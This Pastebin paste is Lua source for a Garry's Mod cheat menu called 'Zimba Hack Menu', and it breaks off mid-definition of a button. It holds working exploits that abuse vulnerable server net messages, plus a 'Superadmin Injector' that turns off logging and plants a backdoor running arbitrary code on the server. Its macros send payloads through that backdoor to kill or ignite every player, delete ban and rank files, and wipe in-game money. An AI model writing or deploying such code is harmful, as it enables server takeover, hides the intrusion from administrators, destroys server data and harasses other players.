Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*====================================================================================
- ──────────────────────────────────────────────────────────────────────────────────────
- ─██████████████████─██████████─██████──────────██████─██████████████───██████████████─
- ─██░░░░░░░░░░░░░░██─██░░░░░░██─██░░██████████████░░██─██░░░░░░░░░░██───██░░░░░░░░░░██─
- ─████████████░░░░██─████░░████─██░░░░░░░░░░░░░░░░░░██─██░░██████░░██───██░░██████░░██─
- ─────────████░░████───██░░██───██░░██████░░██████░░██─██░░██──██░░██───██░░██──██░░██─
- ───────████░░████─────██░░██───██░░██──██░░██──██░░██─██░░██████░░████─██░░██████░░██─
- ─────████░░████───────██░░██───██░░██──██░░██──██░░██─██░░░░░░░░░░░░██─██░░░░░░░░░░██─
- ───████░░████─────────██░░██───██░░██──██████──██░░██─██░░████████░░██─██░░██████░░██─
- ─████░░████───────────██░░██───██░░██──────────██░░██─██░░██────██░░██─██░░██──██░░██─
- ─██░░░░████████████─████░░████─██░░██──────────██░░██─██░░████████░░██─██░░██──██░░██─
- ─██░░░░░░░░░░░░░░██─██░░░░░░██─██░░██──────────██░░██─██░░░░░░░░░░░░██─██░░██──██░░██─
- ─██████████████████─██████████─██████──────────██████─████████████████─██████──██████─
- ──────────────────────────────────────────────────────────────────────────────────────
- ====================================================================================*/
- ------------------------------
- -- FUNCTIONS --
- ------------------------------
- Version = "v1.0"
- netKey = "memeDoor"
- totalExploits = 0
- BackdoorsFound = 0
- local ply = LocalPlayer()
- local blur = Material("pp/blurscreen")
- local function DrawBlur(panel, amount) --Panel blur function
- local x, y = panel:LocalToScreen(0, 0)
- local scrW, scrH = ScrW(), ScrH()
- surface.SetDrawColor(255, 255, 255)
- surface.SetMaterial(blur)
- for i = 1, 6 do
- blur:SetFloat("$blur", (i / 3) * (amount or 6))
- blur:Recompute()
- render.UpdateScreenEffectTexture()
- surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
- end
- end
- function ValidNetString( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- local function playSound(url)
- sound.PlayURL(url, '', function( station )
- if ( IsValid( station ) ) then
- station:SetPos( LocalPlayer():GetPos() )
- station:Play()
- end
- end)
- end
- hook.Add("Think", "RAINBOWPLAYER", function()
- local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
- LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
- LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
- end)
- function HtxPooledString()
- if IsMessagePooled( netKey ) then return "Detected!"
- else return "Not Detected!"
- end
- end
- function IsMessagePooled( netmessage )
- BackdoorStatus, error = pcall(net.Start,netmessage)
- return BackdoorStatus
- end
- local SW = {}
- SW.Enabled = false
- SW.ViewOrigin = Vector( 0, 0, 0 )
- SW.ViewAngle = Angle( 0, 0, 0 )
- SW.Velocity = Vector( 0, 0, 0 )
- function SW.CalcView( ply, origin, angles, fov )
- if ( !SW.Enabled ) then return end
- if ( SW.SetView ) then
- SW.ViewOrigin = origin
- SW.ViewAngle = angles
- SW.SetView = false
- end
- return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
- end
- hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
- function SW.CreateMove( cmd )
- if ( !SW.Enabled ) then return end
- local time = FrameTime()
- SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
- SW.Velocity = SW.Velocity * 0.95
- local sensitivity = 0.022
- SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
- SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
- local add = Vector( 0, 0, 0 )
- local ang = SW.ViewAngle
- if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
- if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
- if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
- if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
- if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
- if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
- add = add:GetNormal() * time * 3000
- if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
- SW.Velocity = SW.Velocity + add
- if ( SW.LockView == true ) then
- SW.LockView = cmd:GetViewAngles()
- end
- if ( SW.LockView ) then
- cmd:SetViewAngles( SW.LockView )
- end
- cmd:SetForwardMove( 0 )
- cmd:SetSideMove( 0 )
- cmd:SetUpMove( 0 )
- end
- hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
- function SW.Toggle()
- SW.Enabled = !SW.Enabled
- SW.LockView = SW.Enabled
- SW.SetView = true
- local status = { [ true ] = "ON", [ false ] = "OFF" }
- SploitNotify("Noclip: " .. status[ SW.Enabled ])
- end
- concommand.Add( "zimba_toggle_noclip", SW.Toggle )
- -- Exploit Other Shit
- if( ValidNetString("start_wd_emp") ) then
- totalExploits = 1 + totalExploits
- end
- if( ValidNetString("properties") ) then
- totalExploits = 1 + totalExploits
- end
- if( ValidNetString("egg") ) then
- totalExploits = 1 + totalExploits
- end
- if( ValidNetString("steamid2") ) then
- totalExploits = 1 + totalExploits
- end
- if( ValidNetString("bodyman_model_change") ) then
- totalExploits = 1 + totalExploits
- end
- ------------------------------
- -- EXPLOIT FUNCTIONS --
- ------------------------------
- function SploitNotify(text)
- local notify = vgui.Create( "DPanel" )
- notify:SetSize( 200, 50 )
- notify:SetPos( ScrW() - 200, -50 )
- notify.Paint = function(self, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
- draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
- draw.SimpleText( text, "Title", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
- timer.Simple( 3, function()
- notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
- end);end) end
- -- Exploit 1
- function removeAll() -- Strips all Players
- for k,v in pairs(player.GetAll()) do
- stripPlayer(v)
- end
- end
- function stripPlayer(ply) -- Strip player function
- if ply:IsPlayer() then
- for k,v in pairs(ply:GetWeapons()) do
- net.Start("properties")
- net.WriteString( "remove" , 32 )
- net.WriteEntity( v )
- net.SendToServer()
- end
- end
- end
- -- Exploit 2
- function HackKeypad()
- net.Start('start_wd_emp')
- net.SendToServer()
- end
- -- Exploit 3
- function GiveEasterEgg1()
- net.Start("egg")
- net.SendToServer()
- SploitNotify("Gave Easter Egg")
- end
- -- Exploit 4
- function Lagger1()
- timer.Create( "lagger9", 0, 0, function()
- for i = 1, 100 do
- net.Start( "steamid2" )
- net.WriteString( "Zimba Hack Menu" )
- net.SendToServer()
- end
- end)
- end
- -- Exploit 5
- local PM = 1
- local SK = 1
- local BG = 1
- local HN = 1
- local TS = 1
- local GL = 1
- local LG = 1
- function BodyGroups()
- PlayerModels = {0,1,2,3,4,5,6}
- Torso = {0,1,2,3,4,5,6,7,8,9,10}
- Legs = {0,1,2,3,4,5,6}
- Hands = {0,1,2}
- Glasses = {0,1}
- Skins = {0,1,2,3,4,5,6,7,8,9,10}
- PM = PM+1
- TS = TS+1
- LG = LG+1
- HN = HN+1
- GL = GL+1
- SK = SK+1
- if (PM>#PlayerModels) then PM=1 end
- if (SK>#Skins) then SK=1 end
- if (HN>#Hands) then HN=1 end
- if (TS>#Torso) then TS=1 end
- if (GL>#Glasses) then GL=1 end
- if (LG>#Legs) then LG=1 end
- net.Start("bodyman_model_change")
- net.WriteInt(PlayerModels[PM], 10 )
- net.SendToServer()
- net.Start("bodygroups_change")
- net.WriteTable( { 1, Torso[TS] } )
- net.SendToServer()
- net.Start("bodygroups_change")
- net.WriteTable( { 2, Legs[LG] } )
- net.SendToServer()
- net.Start("bodygroups_change")
- net.WriteTable( { 3, Hands[HN] } )
- net.SendToServer()
- net.Start("bodygroups_change")
- net.WriteTable( { 4, Glasses[GL] } )
- net.SendToServer()
- end
- local MC = {}
- MC.Enabled = false
- function ChangeModelSpammer()
- if ( MC.Enabled ) then return end
- timer.Create( "modelchanger", 0.3, 0, function()
- BodyGroups()
- end )
- end
- hook.Add("Think","modelchanger",ChangeModelSpammer)
- function MC.Toggle()
- MC.Enabled = !MC.Enabled
- MC.LockView = MC.Enabled
- MC.SetView = true
- local status = { [ true ] = "ON", [ false ] = "OFF" }
- SploitNotify("Model Changer: " .. status[ MC.Enabled ])
- end
- concommand.Add( "zimba_toggle_model_changer", MC.Toggle )
- -- Superadmin Injector
- function Inject()
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Injecting..." )
- if ( ply:IsSuperAdmin() ) then
- timer.Simple( 3, function()
- if( ValidNetString("ZimbaBackDoor") ) then
- else
- RunConsoleCommand( "ulx", "logecho", "0" )
- RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('ZimbaBackDoor')" )
- RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('ZimbaBackDoor') net.Receive('ZimbaBackDoor', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" )
- RunConsoleCommand( "ulx", "logecho", "1" )
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 0, 255, 0 )," Successfully Injected!" )
- end
- end )
- else
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Failed! Your Not Superadmin!" )
- end
- if( ValidNetString("ZimbaBackDoor") ) then
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Backdoor is already in! Fire at will!" )
- end
- end
- ------------------------------
- -- FONTS --
- ------------------------------
- surface.CreateFont( "Title", {
- font = "Lato Light",
- size = 30,
- weight = 250,
- antialias = true,
- strikeout = false,
- additive = true,
- } )
- surface.CreateFont( "Status", {
- font = "Lato Light",
- size = 25,
- weight = 250,
- antiaalias = true,
- strikeout = false,
- additive = true,
- } )
- surface.CreateFont( "Welcome", {
- font = "Lato Light",
- size = 25,
- weight = 10,
- antiaalias = true,
- strikeout = false,
- additive = true,
- } )
- surface.CreateFont( "ESP", {
- font = "Lato Light",
- size = 15,
- weight = 250,
- antialias = true,
- strikeout = false,
- additive = true,
- } )
- ------------------------------
- -- ZIMBA MENU DERMA --
- ------------------------------
- local Zimba = vgui.Create( "DFrame" )
- Zimba:SetSize( 630, 450 )
- Zimba:SetVisible( true )
- Zimba:SetDraggable( false )
- Zimba:ShowCloseButton( false )
- Zimba:Center()
- Zimba:SetTitle("")
- Zimba:MakePopup()
- Zimba.Paint = function( self, w, h )
- DrawBlur(Zimba, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
- draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
- draw.SimpleText( "Zimba Menu", "Title", Zimba:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- end
- local ZimbaCategories = vgui.Create( "DFrame", LOL )
- ZimbaCategories:SetSize( 150, 450 )
- ZimbaCategories:SetVisible( true )
- ZimbaCategories:SetDraggable( false )
- ZimbaCategories:ShowCloseButton( false )
- ZimbaCategories:SetPos( 465, 315)
- ZimbaCategories:SetTitle("")
- ZimbaCategories:MakePopup()
- ZimbaCategories.Paint = function( self, w, h )
- DrawBlur(ZimbaCategories, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
- draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
- draw.SimpleText( "Catagories", "Title", ZimbaCategories:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- end
- local ZimbaClose = vgui.Create( "DButton", Zimba )
- ZimbaClose:SetSize( 35, 35 )
- ZimbaClose:SetPos( Zimba:GetWide() - 36,9 )
- ZimbaClose:SetText( "X" )
- ZimbaClose:SetFont( "Default" )
- ZimbaClose:SetTextColor( Color( 255, 255, 255 ) )
- ZimbaClose.Paint = function()
- end
- ZimbaClose.DoClick = function()
- CloseEverything()
- end
- -- Version Derma / Checker Name / Welcome Message
- local WelcomeLabel = vgui.Create( "DLabel", Zimba )
- WelcomeLabel:SetPos( 100, 100 )
- WelcomeLabel:SetFont("Welcome")
- WelcomeLabel:SetText( "Hello, "..ply:GetName().."\nThank you for using Zimba Hack Menu! We will be \nUpdating our hack so click the 'Check Version' Button to see \n if you have the right version :)")
- WelcomeLabel:SizeToContents()
- local TotalExploits = vgui.Create( "DLabel", Zimba )
- TotalExploits:SetPos( 230, 425 )
- TotalExploits:SetText( "Total Exploits: "..totalExploits.." |" )
- TotalExploits:SizeToContents()
- local BackdoorStatus = vgui.Create( "DLabel", Zimba )
- BackdoorStatus:SetPos( 320, 425 )
- BackdoorStatus:SetText( "Backdoor: "..HtxPooledString() )
- BackdoorStatus:SizeToContents()
- --
- if IsMessagePooled( netKey ) then BackdoorStatus:SetTextColor( Color(0,255,0) ) else BackdoorStatus:SetTextColor( Color(255,0,0) ) end
- --
- local VersionLabel = vgui.Create( "DLabel", Zimba )
- VersionLabel:SetPos( 550, 425 )
- VersionLabel:SetText( "Version: "..Version )
- local NameLabel = vgui.Create( "DLabel", Zimba )
- NameLabel:SetPos( 10, 425 )
- NameLabel:SetText( "Hello, "..ply:GetName().."!" )
- NameLabel:SizeToContents()
- -- Check Version Button
- local Checkversion = vgui.Create( "DButton", Zimba )
- Checkversion:SetText( "Check Version" )
- Checkversion:SizeToContents()
- Checkversion:SetTall( 25 )
- Checkversion:SetWide( 100 )
- Checkversion:SetPos( 250, 275 )
- Checkversion:SetTextColor( Color( 255, 255, 255 ) )
- Checkversion:SetToolTip( "Checks the hack Client Version." )
- Checkversion.Paint = function( self, w, h )
- DrawBlur(Checkversion, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- Checkversion.DoClick = function()
- if ( Version == "v1.0") then
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 0, 255, 0 )," Version is up to date!" )
- else
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Out of date!" )
- end
- end
- end
- -- Check Backdoors Button
- local BackdoorScanner = vgui.Create( "DButton", Zimba )
- BackdoorScanner:SetText( "Backdoor Scanner" )
- BackdoorScanner:SizeToContents()
- BackdoorScanner:SetTall( 25 )
- BackdoorScanner:SetWide( 100 )
- BackdoorScanner:SetPos( 185, 315 )
- BackdoorScanner:SetTextColor( Color( 255, 255, 255 ) )
- BackdoorScanner:SetToolTip( "Checks the hack Client Version." )
- BackdoorScanner.Paint = function( self, w, h )
- DrawBlur(BackdoorScanner, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- BackdoorScanner.DoClick = function()
- SploitNotify("Scanning...")
- surface.PlaySound("buttons/blip1.wav")
- checkbackdoors()
- end
- end
- -- Check Injector Button
- local Injector = vgui.Create( "DButton", Zimba )
- Injector:SetText( "Superadmin Injector" )
- Injector:SizeToContents()
- Injector:SetTall( 25 )
- Injector:SetWide( 115 )
- Injector:SetPos( 300, 315 )
- Injector:SetTextColor( Color( 255, 255, 255 ) )
- Injector:SetToolTip( "Checks the hack Client Version." )
- Injector.Paint = function( self, w, h )
- DrawBlur(Injector, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- Injector.DoClick = function()
- SploitNotify("Injecting...")
- surface.PlaySound("buttons/blip1.wav")
- Inject()
- end
- end
- ------------------------------
- -- ZIMBA MENU BUTTONS --
- ------------------------------
- local MainMenuButton = vgui.Create( "DButton", ZimbaCategories )
- MainMenuButton:SetText( "Main Menu" )
- MainMenuButton:SizeToContents()
- MainMenuButton:SetTall( 50 )
- MainMenuButton:SetWide( MainMenuButton:GetWide() + 100 )
- MainMenuButton:SetPos( 0, 75 )
- MainMenuButton:SetTextColor( Color( 255, 255, 255 ) )
- MainMenuButton:SetToolTip( "Main Menu" )
- MainMenuButton.Paint = function( self, w, h )
- DrawBlur(MainMenuButton, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- MainMenuButton.DoClick = function()
- closealltabs()
- ply:ConCommand( "zimba_menu" )
- end
- end
- local ExploitMenuButton = vgui.Create( "DButton", ZimbaCategories )
- ExploitMenuButton:SetText( "Exploit Menu" )
- ExploitMenuButton:SizeToContents()
- ExploitMenuButton:SetTall( 50 )
- ExploitMenuButton:SetWide( ExploitMenuButton:GetWide() + 100 )
- ExploitMenuButton:SetPos( 0, 140 )
- ExploitMenuButton:SetTextColor( Color( 255, 255, 255 ) )
- ExploitMenuButton:SetToolTip( "Exploit Menu" )
- ExploitMenuButton.Paint = function( self, w, h )
- DrawBlur(ExploitMenuButton, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- ExploitMenuButton.DoClick = function()
- closealltabs()
- ply:ConCommand( "zimba_exploit_menu" )
- end
- end
- local MiscMenuButton = vgui.Create( "DButton", ZimbaCategories )
- MiscMenuButton:SetText( "Misc Menu" )
- MiscMenuButton:SizeToContents()
- MiscMenuButton:SetTall( 50 )
- MiscMenuButton:SetWide( MiscMenuButton:GetWide() + 100 )
- MiscMenuButton:SetPos( 0, 205 )
- MiscMenuButton:SetTextColor( Color( 255, 255, 255 ) )
- MiscMenuButton:SetToolTip( "Misc Menu" )
- MiscMenuButton.Paint = function( self, w, h )
- DrawBlur(MiscMenuButton, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- MiscMenuButton.DoClick = function()
- closealltabs()
- ply:ConCommand( "zimba_misc_menu" )
- end
- end
- local BackdoorButton = vgui.Create( "DButton", ZimbaCategories )
- BackdoorButton:SetText( "Backdoor Menu" )
- BackdoorButton:SizeToContents()
- BackdoorButton:SetTall( 50 )
- BackdoorButton:SetWide( BackdoorButton:GetWide() + 100 )
- BackdoorButton:SetPos( 0, 270 )
- BackdoorButton:SetTextColor( Color( 255, 255, 255 ) )
- BackdoorButton:SetToolTip( "Misc Menu" )
- BackdoorButton.Paint = function( self, w, h )
- DrawBlur(BackdoorButton, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- BackdoorButton.DoClick = function()
- closealltabs()
- ply:ConCommand( "zimba_backdoor_menu" )
- end
- end
- ------------------------------
- -- BACKDOOR DERMA --
- ------------------------------
- local BackdoorMenu = vgui.Create( "DFrame" )
- BackdoorMenu:SetSize( 630, 450 )
- BackdoorMenu:SetVisible( true )
- BackdoorMenu:SetDraggable( false )
- BackdoorMenu:ShowCloseButton( false )
- BackdoorMenu:Center()
- BackdoorMenu:SetTitle("")
- BackdoorMenu:MakePopup()
- BackdoorMenu.Paint = function( self, w, h )
- DrawBlur(BackdoorMenu, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
- draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
- draw.SimpleText( "Zimba Backdoor Menu", "Title", BackdoorMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- draw.SimpleText( "Macros", "Title", BackdoorMenu:GetWide() / 2, 225, Color(255,255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- local BackdoorMenuClose = vgui.Create( "DButton", BackdoorMenu )
- BackdoorMenuClose:SetSize( 35, 35 )
- BackdoorMenuClose:SetPos( BackdoorMenu:GetWide() - 36,9 )
- BackdoorMenuClose:SetText( "X" )
- BackdoorMenuClose:SetFont( "Default" )
- BackdoorMenuClose:SetTextColor( Color( 255, 255, 255 ) )
- BackdoorMenuClose.Paint = function()
- end
- BackdoorMenuClose.DoClick = function()
- CloseEverything()
- end
- ------------------------------
- -- BACKDOOR --
- ------------------------------
- local Consolerun = vgui.Create( "DTextEntry", BackdoorMenu )
- Consolerun:SetText( strDefaultText or "" )
- Consolerun:SetPos( 125, 100)
- Consolerun:SetSize( 350, 20 )
- Consolerun.OnEnter = function() Window:Close() Consolerun:GetValue()
- end
- local RunCommand = vgui.Create( "DButton", BackdoorMenu )
- RunCommand:SetText( "OK" )
- RunCommand:SetSize( 55, 25 )
- RunCommand:SetPos( 230, 150 )
- RunCommand:SetTextColor( Color( 255, 255, 255 ) )
- RunCommand.DoClick = function()
- SploitNotify("Sending Command")
- surface.PlaySound("buttons/blip1.wav")
- net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
- end
- RunCommand.Paint = function( self, w, h )
- DrawBlur(RunCommand, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- local Disco = vgui.Create( "DButton", BackdoorMenu )
- Disco:SetText( "Disco" )
- Disco:SetSize( 55, 25 )
- Disco:SetPos( 320, 150 )
- Disco:SetTextColor( Color( 255, 255, 255 ) )
- Disco.DoClick =
- function() surface.PlaySound("buttons/blip1.wav") net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
- SploitNotify("Starting Disco")
- local disco = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('http://www.underdone.org/leak/underdone/blue.mp3') ]]) end"
- net.Start(netKey)
- net.WriteString( disco )
- net.WriteBit(1)
- net.SendToServer()
- end
- Disco.Paint = function( self, w, h )
- DrawBlur(Disco, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- local Status = vgui.Create( "DLabel", BackdoorMenu )
- Status:SetText("Status: "..HtxPooledString() )
- Status:SetPos( 380,410 )
- Status:SetFont("Status")
- Status:SizeToContents()
- Status:SetContentAlignment( 5 )
- Status:SetTextColor( Color(255,50,50,255) )
- --
- if IsMessagePooled( netKey ) then Status:SetTextColor( Color(0,255,0) ) else Status:SetTextColor( Color(255,0,0) ) end
- --
- ------------------------------
- -- BACKDOOR MACROS --
- ------------------------------
- local KillEveryone = vgui.Create( "DButton", BackdoorMenu )
- KillEveryone:SetText( "Kill Everyone" )
- KillEveryone:SizeToContents()
- KillEveryone:SetTall( 25 )
- KillEveryone:SetWide( KillEveryone:GetWide() + 25 )
- KillEveryone:SetPos( 50, 250 )
- KillEveryone:SetTextColor( Color( 255, 255, 255 ) )
- KillEveryone:SetToolTip( "Kills everyone in the server!" )
- KillEveryone.Paint = function( self, w, h )
- DrawBlur(KillEveryone, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- KillEveryone.DoClick = function()
- SploitNotify("Killing Everyone")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local LaunchEveryone = vgui.Create( "DButton", BackdoorMenu )
- LaunchEveryone:SetText( "Launch Everyone" )
- LaunchEveryone:SizeToContents()
- LaunchEveryone:SetTall( 25 )
- LaunchEveryone:SetWide( LaunchEveryone:GetWide() + 20 )
- LaunchEveryone:SetPos( 160, 250 )
- LaunchEveryone:SetTextColor( Color( 255, 255, 255 ) )
- LaunchEveryone:SetToolTip( "Launches everyone on the server" )
- LaunchEveryone.Paint = function( self, w, h )
- DrawBlur(LaunchEveryone, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- LaunchEveryone.DoClick = function()
- SploitNotify("Launching Players")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local EarRape = vgui.Create( "DButton", BackdoorMenu )
- EarRape:SetText( "Ear Rape" )
- EarRape:SizeToContents()
- EarRape:SetTall( 25 )
- EarRape:SetWide( EarRape:GetWide() + 20 )
- EarRape:SetPos( 285, 250 )
- EarRape:SetTextColor( Color( 255, 255, 255 ) )
- EarRape:SetToolTip( "Starts a very loud sound on the server." )
- EarRape.Paint = function( self, w, h )
- DrawBlur(EarRape, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- EarRape.DoClick = function()
- SploitNotify("Starting Ear Rape")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local IngiteEveryone = vgui.Create( "DButton", BackdoorMenu )
- IngiteEveryone:SetText( "Ignite Everyone" )
- IngiteEveryone:SizeToContents()
- IngiteEveryone:SetTall( 25 )
- IngiteEveryone:SetWide( EarRape:GetWide() + 25 )
- IngiteEveryone:SetPos( 370, 250 )
- IngiteEveryone:SetTextColor( Color( 255, 255, 255 ) )
- IngiteEveryone:SetToolTip( "Ignites Everyon on the server." )
- IngiteEveryone.Paint = function( self, w, h )
- DrawBlur(IngiteEveryone, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- IngiteEveryone.DoClick = function()
- SploitNotify("Igniting Everyone")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local DeleteBans = vgui.Create( "DButton", BackdoorMenu )
- DeleteBans:SetText( "Delete Bans" )
- DeleteBans:SizeToContents()
- DeleteBans:SetTall( 25 )
- DeleteBans:SetWide( DeleteBans:GetWide() + 20 )
- DeleteBans:SetPos( 480, 250 )
- DeleteBans:SetTextColor( Color( 255, 255, 255 ) )
- DeleteBans:SetToolTip( "Deletes all Bans!" )
- DeleteBans.Paint = function( self, w, h )
- DrawBlur(DeleteBans, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- DeleteBans.DoClick = function()
- SploitNotify("Deleting Bans")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local DeleteRanks = vgui.Create( "DButton", BackdoorMenu )
- DeleteRanks:SetText( "Delete ULX Ranks" )
- DeleteRanks:SizeToContents()
- DeleteRanks:SetTall( 25 )
- DeleteRanks:SetWide( DeleteRanks:GetWide() + 20 )
- DeleteRanks:SetPos( 50, 295 )
- DeleteRanks:SetTextColor( Color( 255, 255, 255 ) )
- DeleteRanks:SetToolTip( "Deletes ULX Groups / Ranks!" )
- DeleteRanks.Paint = function( self, w, h )
- DrawBlur(DeleteRanks, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- DeleteRanks.DoClick = function()
- SploitNotify("Deleting ULX")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local ResetMoney = vgui.Create( "DButton", BackdoorMenu )
- ResetMoney:SetText( "Reset RP Money" )
- ResetMoney:SizeToContents()
- ResetMoney:SetTall( 25 )
- ResetMoney:SetWide( ResetMoney:GetWide() + 20 )
- ResetMoney:SetPos( 180, 295 )
- ResetMoney:SetTextColor( Color( 255, 255, 255 ) )
- ResetMoney:SetToolTip( "Resets all DarkRP Money" )
- ResetMoney.Paint = function( self, w, h )
- DrawBlur(ResetMoney, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- ResetMoney.DoClick = function()
- SploitNotify("Reseting Money")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "rp_resetallmoney")
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local Physics = vgui.Create( "DButton", BackdoorMenu )
- Physics:SetText( "Physics" )
- Physics:SizeToContents()
- Physics:SetTall( 25 )
- Physics:SetWide( Physics:GetWide() + 20 )
- Physics:SetPos( 300, 295 )
- Physics:SetTextColor( Color( 255, 255, 255 ) )
- Physics:SetToolTip( "Changes the physics." )
- Physics.Paint = function( self, w, h )
- DrawBlur(Physics, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- Physics.DoClick = function()
- SploitNotify("Chaning Physics")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "sv_friction -8" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local ArtilleryStrike = vgui.Create( "DButton", BackdoorMenu )
- ArtilleryStrike:SetText( "Artillery Strike" )
- ArtilleryStrike:SizeToContents()
- ArtilleryStrike:SetTall( 25 )
- ArtilleryStrike:SetWide( ArtilleryStrike:GetWide() + 20 )
- ArtilleryStrike:SetPos( 375, 295 )
- ArtilleryStrike:SetTextColor( Color( 255, 255, 255 ) )
